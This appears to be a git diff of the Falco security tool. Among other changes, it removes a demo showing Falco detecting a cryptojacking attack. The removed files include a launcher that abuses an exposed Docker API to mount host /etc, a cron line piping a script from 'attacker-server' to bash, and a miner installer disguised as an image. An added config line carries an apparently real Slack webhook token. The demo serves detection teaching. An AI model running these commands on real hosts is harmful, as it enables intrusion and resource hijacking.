- && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
- && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
- && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
- && dpkg -i *binutils*.deb
+RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
 
 COPY ./docker-entrypoint.sh /
 

docker/stable/docker-entrypoint.sh

@@ -1,22 +1,4 @@
 #!/bin/bash
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
 #set -e
 
 # Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module

examples/bad-mount-cryptomining/README.md

@@ -1,117 +0,0 @@
-# Demo of Falco Detecting Cryptomining Exploit
-
-## Introduction
-
-Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
-
-Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
-
-## Requirements
-
-In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
-
-## Example architecture
-
-The example consists of the following:
-
-* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
-* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
-* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
-
-All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
-
-A separate container is created to launch the attack:
-
-* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
-
-## Example Walkthrough
-
-### Start everything using docker-compose
-
-To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
-
-Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
-
-You will see fairly verbose output from dockerd:
-
-```
-host-machine_1     | crond: crond (busybox 1.27.2) started, log level 6
-host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
-host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
-host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
-```
-
-When you see log output like the following, you know that falco is started and ready:
-
-```
-falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
-falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
-falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
-```
-
-### Launch malicious container
-
-To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
-
-The script `launch_malicious_container.sh` performs the necessary POSTs:
-
-* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
-* `http://localhost:2375/containers/create?&name=docker123321-mysql`
-* `http://localhost:2375/containers/docker123321-mysql/start`
-
-Run the script via `bash launch_malicious_container.sh`.
-
-### Examine cron output as malicious software is installed & run
-
-`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
-
-```
-* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
-```
-
-It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
-
-You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
-
-```
-CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES
-68ed578bd034        alpine:latest       "/bin/sh -c 'echo '*…"   About a minute ago   Up About a minute                       docker123321-mysql
-```
-
-Once the cron job runs, you will see output like the following:
-
-```
-host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
-host-machine_1     | ***Checking for existing Miner program
-attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
-host-machine_1     | ***Killing competing Miner programs
-host-machine_1     | ***Reinstalling cron job to run Miner program
-host-machine_1     | ***Configuring Miner program
-attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
-attacker-server_1  | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
-host-machine_1     | ***Configuring system for Miner program
-host-machine_1     | vm.nr_hugepages = 9
-host-machine_1     | ***Running Miner program
-host-machine_1     | ***Ensuring Miner program is alive
-host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
-host-machine_1     | /var/tmp
-host-machine_1     | runing.....
-host-machine_1     | ***Ensuring Miner program is alive
-host-machine_1     |   238 root       0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
-host-machine_1     | /var/tmp
-host-machine_1     | runing.....
-```
-
-### Observe Falco detecting malicious activity
-
-To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
-
-```
-falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
-falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
-```
-
-### Cleanup
-
-To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.
-

examples/bad-mount-cryptomining/attacker-nginx.conf

@@ -1,14 +0,0 @@
-server {
-    listen       8220;
-    server_name  localhost;
-
-    location / {
-        root   /usr/share/nginx/html;
-        index  index.html index.htm;
-    }
-
-    error_page   500 502 503 504  /50x.html;
-    location = /50x.html {
-        root   /usr/share/nginx/html;
-    }
-}

examples/bad-mount-cryptomining/attacker_files/config_1.json

@@ -1 +0,0 @@
-{"config": "some-bitcoin-miner-config-goes-here"}

examples/bad-mount-cryptomining/attacker_files/logo3.jpg

@@ -1,64 +0,0 @@
-#!/bin/sh
-echo "***Checking for existing Miner program"
-ps -fe|grep jaav |grep -v grep
-if [ $? -eq 0 ]
-then
-pwd
-else
-
-echo "***Killing competing Miner programs"
-rm -rf /var/tmp/ysjswirmrm.conf
-rm -rf /var/tmp/sshd
-ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
-ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
-
-echo "***Reinstalling cron job to run Miner program"
-crontab -r || true && \
-echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
-crontab /tmp/cron || true && \
-rm -rf /tmp/cron || true
-
-echo "***Configuring Miner program"
-curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
-curl -so /var/tmp/jaav http://attacker-server:8220/minerd
-chmod 777 /var/tmp/jaav
-cd /var/tmp
-
-echo "***Configuring system for Miner program"
-cd /var/tmp
-proc=`grep -c ^processor /proc/cpuinfo`
-cores=$(($proc+1))
-num=$(($cores*3))
-/sbin/sysctl -w vm.nr_hugepages=$num
-
-echo "***Running Miner program"
-nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
-fi
-
-echo "***Ensuring Miner program is alive"
-ps -fe|grep jaav |grep -v grep
-if [ $? -eq 0 ]
-then
-pwd
-else
-
-echo "***Reconfiguring Miner program"
-curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
-curl -so /var/tmp/jaav http://attacker-server:8220/minerd
-chmod 777 /var/tmp/jaav
-cd /var/tmp
-
-echo "***Reconfiguring system for Miner program"
-proc=`grep -c ^processor /proc/cpuinfo`
-cores=$(($proc+1))
-num=$(($cores*3))
-/sbin/sysctl -w vm.nr_hugepages=$num
-
-echo "***Restarting Miner program"
-nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
-fi
-echo "runing....."

examples/bad-mount-cryptomining/attacker_files/minerd

@@ -1,8 +0,0 @@
-#!/bin/bash
-
-while true; do
-      echo "Mining bitcoins..."
-      sleep 60
-done
-
-      

examples/bad-mount-cryptomining/demo.yml

@@ -1,41 +0,0 @@
-version: '3'
-
-volumes:
-  host-filesystem:
-  docker-socket:
-
-services:
-  host-machine:
-    privileged: true
-    build:
-      context: ${PWD}/host-machine
-      dockerfile: ${PWD}/host-machine/Dockerfile
-    volumes:
-      - host-filesystem:/etc
-      - docker-socket:/var/run
-    ports:
-      - "2375:2375"
-    depends_on:
-      - "falco"
-
-  attacker-server:
-    image: nginx:latest
-    ports:
-      - "8220:8220"
-    volumes:
-      - ${PWD}/attacker_files:/usr/share/nginx/html
-      - ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
-    depends_on:
-      - "falco"      
-  
-  falco:
-    image: sysdig/falco:latest
-    privileged: true
-    volumes:
-      - docker-socket:/host/var/run
-      - /dev:/host/dev
-      - /proc:/host/proc:ro
-      - /boot:/host/boot:ro
-      - /lib/modules:/host/lib/modules:ro
-      - /usr:/host/usr:ro
-    tty: true

examples/bad-mount-cryptomining/docker123321-mysql-container.json

@@ -1,7 +0,0 @@
-{
-    "Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
-    "Image": "alpine:latest",
-    "HostConfig": {
-	"Binds": ["/etc:/mnt/etc"]
-    }
-}

examples/bad-mount-cryptomining/host-machine/Dockerfile

@@ -1,12 +0,0 @@
-FROM docker:stable-dind
-
-RUN set -ex \
-    && apk add --no-cache \
-    bash curl
-
-COPY start-cron-and-dind.sh /usr/local/bin
-
-ENTRYPOINT ["start-cron-and-dind.sh"]
-CMD []
-
-

examples/bad-mount-cryptomining/host-machine/start-cron-and-dind.sh

@@ -1,11 +0,0 @@
-#!/bin/sh
-
-# Start docker-in-docker, but backgrounded with its output still going
-# to stdout/stderr.
-dockerd-entrypoint.sh &
-
-# Start cron in the foreground with a moderate level of debugging to
-# see job output.
-crond -f -d 6
-
-

examples/bad-mount-cryptomining/launch_malicious_container.sh

@@ -1,14 +0,0 @@
-#!/bin/sh
-
-echo "Pulling alpine:latest image to docker-in-docker instance"
-curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
-
-echo "Creating container mounting /etc from host-machine"
-curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
-
-echo "Running container mounting /etc from host-machine"
-curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'
-
-
-
-

examples/k8s-using-daemonset/README.md

@@ -0,0 +1,5 @@
+# Example K8s Services for Falco
+
+The yaml file in this directory installs the following:
+ - Open Source Falco, as a DaemonSet. Falco is configured to communicate with the K8s API server via its service account, and changes its output to be K8s-friendly. It also sends to a slack webhook for the `#demo-falco-alerts` channel on our [public slack](https://sysdig.slack.com/messages/demo-falco-alerts/).
+ - The [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events), as a deployment that ensures it runs on exactly 1 node.

examples/k8s-using-daemonset/falco-daemonset.yaml

@@ -18,12 +18,14 @@ spec:
           image: sysdig/falco:latest
           securityContext:
             privileged: true
-          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/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"]
           volumeMounts:
             - mountPath: /host/var/run/docker.sock
               name: docker-socket
+              readOnly: true
             - mountPath: /host/dev
               name: dev-fs
+              readOnly: true
             - mountPath: /host/proc
               name: proc-fs
               readOnly: true

examples/mitm-sh-installer/web_root/install-software.sh

@@ -1,22 +1,21 @@
 #!/bin/bash
 #
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+# Copyright (C) 2013-2014 My Company inc.
 #
-# This file is part of falco.
+# This file is part of my-software
 #
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
+# my-software is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 as
+# published by the Free Software Foundation.
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+# my-software is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# You should have received a copy of the GNU General Public License
+# along with my-software.  If not, see <http://www.gnu.org/licenses/>.
 #
-
 set -e
 
 function install_rpm {

examples/nodejs-bad-rest-api/demo.yml

@@ -1,7 +1,9 @@
+# Owned by software vendor, serving install-software.sh.
 express_server:
   container_name: express_server
   image: node:latest
-  command: bash -c "apt-get -y update && apt-get -y install runit && npm install && runsv /usr/src/app"
+  working_dir: /usr/src/app
+  command: bash -c "npm install && node server.js"
   ports:
     - "8181:8181"
   volumes:

examples/nodejs-bad-rest-api/run

@@ -1,2 +0,0 @@
-#!/bin/sh
-node server.js

falco.yaml

@@ -1,25 +1,4 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-# File(s) or Directories containing Falco rules, loaded at startup.
-# The name "rules_file" is only for backwards compatibility.
-# If the entry is a file, it will be read directly. If the entry is a directory,
-# every file in that directory will be read, in alphabetical order.
+# File(s) containing Falco rules, loaded at startup.
 #
 # falco_rules.yaml ships with the falco package and is overridden with
 # every new software version. falco_rules.local.yaml is only created
@@ -31,16 +10,10 @@
 rules_file:
  - /etc/falco/falco_rules.yaml
  - /etc/falco/falco_rules.local.yaml
- - /etc/falco/rules.d
 
 # Whether to output events in json or text
 json_output: false
 
-# When using json output, whether or not to include the "output" property
-# itself (e.g. "File below a known binary directory opened for writing
-# (user=root ....") in the json output.
-json_include_output_property: true
-
 # Send information logs to stderr and/or syslog Note these are *not* security
 # notification logs! These are just Falco lifecycle (and possibly error) logs.
 log_stderr: true
@@ -88,10 +61,6 @@ syslog_output:
 # continuously written to, with each output message on its own
 # line. If keep_alive is set to false, the file will be re-opened
 # for each output message.
-#
-# Also, the file will be closed and reopened if falco is signaled with
-# SIGUSR1.
-
 file_output:
   enabled: false
   keep_alive: false
@@ -112,9 +81,7 @@ stdout_output:
 # continuously written to, with each output message on its own
 # line. If keep_alive is set to false, the program will be re-spawned
 # for each output message.
-#
-# Also, the program will be closed and reopened if falco is signaled with
-# SIGUSR1.
+
 program_output:
   enabled: false
   keep_alive: false

integrations/anchore-falco/Dockerfile

@@ -1,13 +0,0 @@
-FROM python:3-stretch
-
-RUN pip install pipenv
-
-WORKDIR /app
-
-ADD Pipfile /app/Pipfile
-ADD Pipfile.lock /app/Pipfile.lock
-RUN pipenv install --system --deploy
-
-ADD . /app
-
-CMD ["python", "main.py"]

integrations/anchore-falco/Pipfile

@@ -1,16 +0,0 @@
-[[source]]
-url = "https://pypi.python.org/simple"
-verify_ssl = true
-name = "pypi"
-
-[dev-packages]
-doublex-expects = "==0.7.0rc2"
-doublex = "*"
-mamba = "*"
-expects = "*"
-
-[packages]
-requests = "*"
-
-[requires]
-python_version = "3.6"

integrations/anchore-falco/Pipfile.lock

@@ -1,156 +0,0 @@
-{
-    "_meta": {
-        "hash": {
-            "sha256": "f2737a14e8f562cf355e13ae09f1eed0f80415effd2aa01b86125e94523da345"
-        },
-        "pipfile-spec": 6,
-        "requires": {
-            "python_version": "3.6"
-        },
-        "sources": [
-            {
-                "name": "pypi",
-                "url": "https://pypi.python.org/simple",
-                "verify_ssl": true
-            }
-        ]
-    },
-    "default": {
-        "certifi": {
-            "hashes": [
-                "sha256:13e698f54293db9f89122b0581843a782ad0934a4fe0172d2a980ba77fc61bb7",
-                "sha256:9fa520c1bacfb634fa7af20a76bcbd3d5fb390481724c597da32c719a7dca4b0"
-            ],
-            "version": "==2018.4.16"
-        },
-        "chardet": {
-            "hashes": [
-                "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
-                "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
-            ],
-            "version": "==3.0.4"
-        },
-        "idna": {
-            "hashes": [
-                "sha256:156a6814fb5ac1fc6850fb002e0852d56c0c8d2531923a51032d1b70760e186e",
-                "sha256:684a38a6f903c1d71d6d5fac066b58d7768af4de2b832e426ec79c30daa94a16"
-            ],
-            "version": "==2.7"
-        },
-        "requests": {
-            "hashes": [
-                "sha256:63b52e3c866428a224f97cab011de738c36aec0185aa91cfacd418b5d58911d1",
-                "sha256:ec22d826a36ed72a7358ff3fe56cbd4ba69dd7a6718ffd450ff0e9df7a47ce6a"
-            ],
-            "index": "pypi",
-            "version": "==2.19.1"
-        },
-        "urllib3": {
-            "hashes": [
-                "sha256:a68ac5e15e76e7e5dd2b8f94007233e01effe3e50e8daddf69acfd81cb686baf",
-                "sha256:b5725a0bd4ba422ab0e66e89e030c806576753ea3ee08554382c14e685d117b5"
-            ],
-            "version": "==1.23"
-        }
-    },
-    "develop": {
-        "args": {
-            "hashes": [
-                "sha256:a785b8d837625e9b61c39108532d95b85274acd679693b71ebb5156848fcf814"
-            ],
-            "version": "==0.1.0"
-        },
-        "clint": {
-            "hashes": [
-                "sha256:05224c32b1075563d0b16d0015faaf9da43aa214e4a2140e51f08789e7a4c5aa"
-            ],
-            "version": "==0.5.1"
-        },
-        "coverage": {
-            "hashes": [
-                "sha256:03481e81d558d30d230bc12999e3edffe392d244349a90f4ef9b88425fac74ba",
-                "sha256:0b136648de27201056c1869a6c0d4e23f464750fd9a9ba9750b8336a244429ed",
-                "sha256:104ab3934abaf5be871a583541e8829d6c19ce7bde2923b2751e0d3ca44db60a",
-                "sha256:15b111b6a0f46ee1a485414a52a7ad1d703bdf984e9ed3c288a4414d3871dcbd",
-                "sha256:198626739a79b09fa0a2f06e083ffd12eb55449b5f8bfdbeed1df4910b2ca640",
-                "sha256:1c383d2ef13ade2acc636556fd544dba6e14fa30755f26812f54300e401f98f2",
-                "sha256:28b2191e7283f4f3568962e373b47ef7f0392993bb6660d079c62bd50fe9d162",
-                "sha256:2eb564bbf7816a9d68dd3369a510be3327f1c618d2357fa6b1216994c2e3d508",
-                "sha256:337ded681dd2ef9ca04ef5d93cfc87e52e09db2594c296b4a0a3662cb1b41249",
-                "sha256:3a2184c6d797a125dca8367878d3b9a178b6fdd05fdc2d35d758c3006a1cd694",
-                "sha256:3c79a6f7b95751cdebcd9037e4d06f8d5a9b60e4ed0cd231342aa8ad7124882a",
-                "sha256:3d72c20bd105022d29b14a7d628462ebdc61de2f303322c0212a054352f3b287",
-                "sha256:3eb42bf89a6be7deb64116dd1cc4b08171734d721e7a7e57ad64cc4ef29ed2f1",
-                "sha256:4635a184d0bbe537aa185a34193898eee409332a8ccb27eea36f262566585000",
-                "sha256:56e448f051a201c5ebbaa86a5efd0ca90d327204d8b059ab25ad0f35fbfd79f1",
-                "sha256:5a13ea7911ff5e1796b6d5e4fbbf6952381a611209b736d48e675c2756f3f74e",
-                "sha256:69bf008a06b76619d3c3f3b1983f5145c75a305a0fea513aca094cae5c40a8f5",
-                "sha256:6bc583dc18d5979dc0f6cec26a8603129de0304d5ae1f17e57a12834e7235062",
-                "sha256:701cd6093d63e6b8ad7009d8a92425428bc4d6e7ab8d75efbb665c806c1d79ba",
-                "sha256:7608a3dd5d73cb06c531b8925e0ef8d3de31fed2544a7de6c63960a1e73ea4bc",
-                "sha256:76ecd006d1d8f739430ec50cc872889af1f9c1b6b8f48e29941814b09b0fd3cc",
-                "sha256:7aa36d2b844a3e4a4b356708d79fd2c260281a7390d678a10b91ca595ddc9e99",
-                "sha256:7d3f553904b0c5c016d1dad058a7554c7ac4c91a789fca496e7d8347ad040653",
-                "sha256:7e1fe19bd6dce69d9fd159d8e4a80a8f52101380d5d3a4d374b6d3eae0e5de9c",
-                "sha256:8c3cb8c35ec4d9506979b4cf90ee9918bc2e49f84189d9bf5c36c0c1119c6558",
-                "sha256:9d6dd10d49e01571bf6e147d3b505141ffc093a06756c60b053a859cb2128b1f",
-                "sha256:9e112fcbe0148a6fa4f0a02e8d58e94470fc6cb82a5481618fea901699bf34c4",
-                "sha256:ac4fef68da01116a5c117eba4dd46f2e06847a497de5ed1d64bb99a5fda1ef91",
-                "sha256:b8815995e050764c8610dbc82641807d196927c3dbed207f0a079833ffcf588d",
-                "sha256:be6cfcd8053d13f5f5eeb284aa8a814220c3da1b0078fa859011c7fffd86dab9",
-                "sha256:c1bb572fab8208c400adaf06a8133ac0712179a334c09224fb11393e920abcdd",
-                "sha256:de4418dadaa1c01d497e539210cb6baa015965526ff5afc078c57ca69160108d",
-                "sha256:e05cb4d9aad6233d67e0541caa7e511fa4047ed7750ec2510d466e806e0255d6",
-                "sha256:e4d96c07229f58cb686120f168276e434660e4358cc9cf3b0464210b04913e77",
-                "sha256:f3f501f345f24383c0000395b26b726e46758b71393267aeae0bd36f8b3ade80",
-                "sha256:f8a923a85cb099422ad5a2e345fe877bbc89a8a8b23235824a93488150e45f6e"
-            ],
-            "version": "==4.5.1"
-        },
-        "doublex": {
-            "hashes": [
-                "sha256:062af49d9e4148bc47b7512d3fdc8e145dea4671d074ffd54b2464a19d3757ab"
-            ],
-            "index": "pypi",
-            "version": "==1.8.4"
-        },
-        "doublex-expects": {
-            "hashes": [
-                "sha256:5421bd92319c77ccc5a81d595d06e9c9f7f670de342b33e8007a81e70f9fade8"
-            ],
-            "index": "pypi",
-            "version": "==0.7.0rc2"
-        },
-        "expects": {
-            "hashes": [
-                "sha256:37538d7b0fa9c0d53e37d07b0e8c07d89754d3deec1f0f8ed1be27f4f10363dd"
-            ],
-            "index": "pypi",
-            "version": "==0.8.0"
-        },
-        "mamba": {
-            "hashes": [
-                "sha256:63e70a8666039cf143a255000e23f29be4ea4b5b8169f2b053f94eb73a2ea9e2"
-            ],
-            "index": "pypi",
-            "version": "==0.9.3"
-        },
-        "pyhamcrest": {
-            "hashes": [
-                "sha256:6b672c02fdf7470df9674ab82263841ce8333fb143f32f021f6cb26f0e512420",
-                "sha256:7a4bdade0ed98c699d728191a058a60a44d2f9c213c51e2dd1e6fb42f2c6128a",
-                "sha256:8ffaa0a53da57e89de14ced7185ac746227a8894dbd5a3c718bf05ddbd1d56cd",
-                "sha256:bac0bea7358666ce52e3c6c85139632ed89f115e9af52d44b3c36e0bf8cf16a9",
-                "sha256:f30e9a310bcc1808de817a92e95169ffd16b60cbc5a016a49c8d0e8ababfae79"
-            ],
-            "version": "==1.9.0"
-        },
-        "six": {
-            "hashes": [
-                "sha256:70e8a77beed4562e7f14fe23a786b54f6296e34344c23bc42f07b15018ff98e9",
-                "sha256:832dc0e10feb1aa2c68dcc57dbb658f1c7e65b9b61af69048abc87a2db00a0eb"
-            ],
-            "version": "==1.11.0"
-        }
-    }
-}

integrations/anchore-falco/README.md

@@ -1,89 +0,0 @@
-# Create Falco rule from Anchore policy result
-
-This integration creates a rule for Sysdig Falco based on Anchore policy result.
-So that when we will try to run an image which has a ```stop``` final action result
-in Anchore, Falco will alert us.
-
-## Getting started
-
-### Prerequisites
-
-For running this integration you will need:
-
-* Python 3.6
-* pipenv
-* An [anchore-engine](https://github.com/anchore/anchore-engine) running
-
-### Configuration
-
-This integration uses the [same environment variables that anchore-cli](https://github.com/anchore/anchore-cli#configuring-the-anchore-cli):
-
-* ANCHORE_CLI_USER: The user used to conect to anchore-engine. By default is ```admin```
-* ANCHORE_CLI_PASS: The password used to connect to anchore-engine.
-* ANCHORE_CLI_URL: The url where anchore-engine listens. Make sure does not end with a slash. By default is ```http://localhost:8228/v1```
-* ANCHORE_CLI_SSL_VERIFY: Flag for enabling if HTTP client verifies SSL. By default is ```true```
-
-### Running
-
-This is a Python program which generates a Falco rule based on anchore-engine
-information:
-
-```
-pipenv run python main.py
-```
-
-And this will output something like:
-
-
-```yaml
-- macro: anchore_stop_policy_evaluation_containers
-  condition: container.image.id in ("8626492fecd368469e92258dfcafe055f636cb9cbc321a5865a98a0a6c99b8dd", "e86d9bb526efa0b0401189d8df6e3856d0320a3d20045c87b4e49c8a8bdb22c1")
-
-- rule: Run Anchore Containers with Stop Policy Evaluation
-  desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
-
-  condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
-  output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
-  priority: INFO
-  tags: [container]
-```
-
-You can save that output to ```/etc/falco/rules.d/anchore-integration-rules.yaml```
-and Falco will start checking this rule.
-
-As long as information in anchore-engine can change, it's a good idea to run this
-integration **periodically** and keep the rule synchronized with anchore-engine
-policy evaluation result.
-
-## Tests
-
-As long as there are contract tests with anchore-engine, it needs a working
-anchore-engine and its environment variables.
-
-```
-pipenv install -d
-pipenv run mamba --format=documentation
-```
-
-## Docker support
-
-### Build the image
-
-```
-docker build -t sysdig/anchore-falco .
-```
-
-### Running the image
-
-An image exists on DockerHub, its name is ```sysdig/anchore-falco```.
-
-So you can run directly with Docker:
-
-```
-docker run --rm -e ANCHORE_CLI_USER=<user-for-custom-anchore-engine> \
-                -e ANCHORE_CLI_PASS=<passsword-for-user-for-custom-anchore-engine> \
-                -e ANCHORE_CLI_URL=http://<custom-anchore-engine-host>:8228/v1 \
-                sysdig/anchore-falco
-```
-
-And this will output the Falco rule based on *custom-anchore-engine-host*.

integrations/anchore-falco/actions.py

@@ -1,25 +0,0 @@
-import string
-
-FALCO_RULE_TEMPLATE = string.Template('''
-- macro: anchore_stop_policy_evaluation_containers
-  condition: container.image.id in ($images)
-
-- rule: Run Anchore Containers with Stop Policy Evaluation
-  desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
-
-  condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
-  output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
-  priority: INFO
-  tags: [container]
-''')
-
-
-class CreateFalcoRuleFromAnchoreStopPolicyResults:
-    def __init__(self, anchore_client):
-        self._anchore_client = anchore_client
-
-    def run(self):
-        images = self._anchore_client.get_images_with_policy_result('stop')
-
-        images = ['"{}"'.format(image) for image in images]
-        return FALCO_RULE_TEMPLATE.substitute(images=', '.join(images))

integrations/anchore-falco/infrastructure.py

@@ -1,39 +0,0 @@
-import requests
-
-
